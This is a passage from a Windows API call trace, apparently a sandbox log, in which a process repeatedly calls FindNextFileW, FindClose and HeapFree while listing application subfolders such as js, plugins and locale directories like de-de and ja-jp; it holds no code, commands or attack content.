nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.864] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0271.864] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0271.864] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.864] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0271.865] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0271.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0271.865] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0271.865] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0271.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0271.865] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0271.865] FindClose (in: hFindFile=0x64a0d8 | out: hFindFile=0x64a0d8) returned 1 [0271.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0271.865] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sample-files", cAlternateFileName="SAMPLE~1")) returned 1 [0271.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0271.867] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sample Files", cAlternateFileName="SAMPLE~1")) returned 0 [0271.867] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0271.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0271.868] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0271.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0271.868] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0271.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.869] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0271.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.869] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0271.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.869] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0271.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.870] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0271.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.870] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0271.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.870] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0271.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.870] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0271.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.871] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0271.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.871] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0271.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.871] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0271.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.871] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0271.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.872] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0271.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.872] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0271.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.872] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0271.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.873] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0271.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.873] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0271.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.873] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0271.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.873] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0271.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.874] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0271.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.874] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0271.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.874] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0271.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.874] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0271.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.875] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0271.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.876] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0271.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.877] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0271.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.877] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0271.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.877] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0271.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.877] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0271.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.877] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0271.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.878] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0271.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.878] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: 